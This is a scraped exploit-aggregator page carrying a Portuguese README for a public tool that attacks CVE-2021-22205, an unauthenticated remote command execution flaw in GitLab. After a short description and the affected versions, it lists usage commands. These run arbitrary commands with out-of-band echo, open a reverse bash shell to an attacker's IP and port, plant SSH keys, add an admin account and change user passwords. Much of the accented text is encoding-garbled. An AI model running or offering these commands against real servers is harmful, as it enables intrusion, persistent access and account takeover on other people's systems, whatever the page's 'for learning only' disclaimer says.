## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-INSPIRINGZ-CVE-2021-22205
# CVE-2021-22205
GitLab CE/EE Pré-autenticação RCE usando ExifTool
_Este projeto Ă© apenas para aprendizado, se os direitos de alguĂ©m foram violados, por favor entre em contato comigo para remover o projeto, e por Ășltimo**NĂO USE ILEGALMENTE**. Se vocĂȘ tiver algum comportamento ilegal ao usar esta ferramenta, vocĂȘ assumirĂĄ todas as consequĂȘncias. Todos os desenvolvedores e todos os colaboradores desta ferramenta nĂŁo assumem nenhuma responsabilidade legal ou conjunta._
## Descrição
Um problema foi descoberto no GitLab CE/EE afetando todas as versÔes a partir da 11.9. O GitLab não estava validando corretamente os arquivos de imagem que eram passados para um analisador de arquivos, resultando em uma execução remota de comandos.
VersÔes Afetadas:
* >=11.9, <13.8.8
* >=13.9, <13.9.6
* >=13.10, <13.10.3
## Funcionalidades
* Detecção da versão do Gitlab através do hash no Webpack manifest.json
* InteraçÔes automåticas fora de banda com DNSLog & ~~PostBin~~ **RequestBin**
* Suporte a Reverse Bash Shell / Adicionar Chave SSH ao authorized_keys
* Suporte a ENTER para modificar e restaurar a senha do usuĂĄrio gitlab
## Uso
root@kitploit:~
đ âșâșâș python CVE-2021-22205.py
âââââââââ CVE-2021-22205
â ââââââââââ GitLab CE/EE Unauthenticated RCE using ExifTool
âââââââââââ Affecting all versions starting from 11.9
ââââââââââ security.humanativaspa.it/gitlab-ce-cve-2021-22205-in-the-wild
ââââââââââ github.com/inspiringz/CVE-2021-22205
Usage:
python3 CVE-2021-22205.py -u site_url -m detect # gitlab version & vuln detect
python3 CVE-2021-22205.py -u site_url -m rce1 'id' # rce (echo via requestbin oob)
python3 CVE-2021-22205.py -u site_url -m rce2 'id' # rce (echo via write file) *
python3 CVE-2021-22205.py -u site_url -m rev ip port # reverse bash shell
python3 CVE-2021-22205.py -u site_url -m ssh git/root # append ssh authorized_keys
python3 CVE-2021-22205.py -u site_url -m add user pass # add manager account *
python3 CVE-2021-22205.py -u site_url -m mod user # modify specified user's password => P4ss@GitLab
python3 CVE-2021-22205.py -u site_url -m rec user # restore specified user's original password
* O formato do parĂąmetro `site_url`: http[s]://<domĂnio|ip>[:porta]/, por exemplo: https://example.com:9000/
* Os métodos (rce2, add) marcados com `*` são inståveis, podem não funcionar :(
* VocĂȘ pode modificar o conteĂșdo do script de acordo com o ambiente real
## Captura de tela
Detectar:

RCE (Echo via RequestBin OOB):

Reverse Bash Shell:

Adicionar Chave SSH ao authorized_keys:

Modificação e restauração da senha do usuårio Gitlab:

## ReferĂȘncia
* https://github.com/projectdiscovery/nuclei-templates/blob/637eec3efac6eb384742c7aaa4e7d14f3392ede9/cves/2021/CVE-2021-22205.yaml
* https://gitlab.com/gitlab-org/cves/-/blob/master/2021/CVE-2021-22205.json
* https://github.com/righel/gitlab-version-nse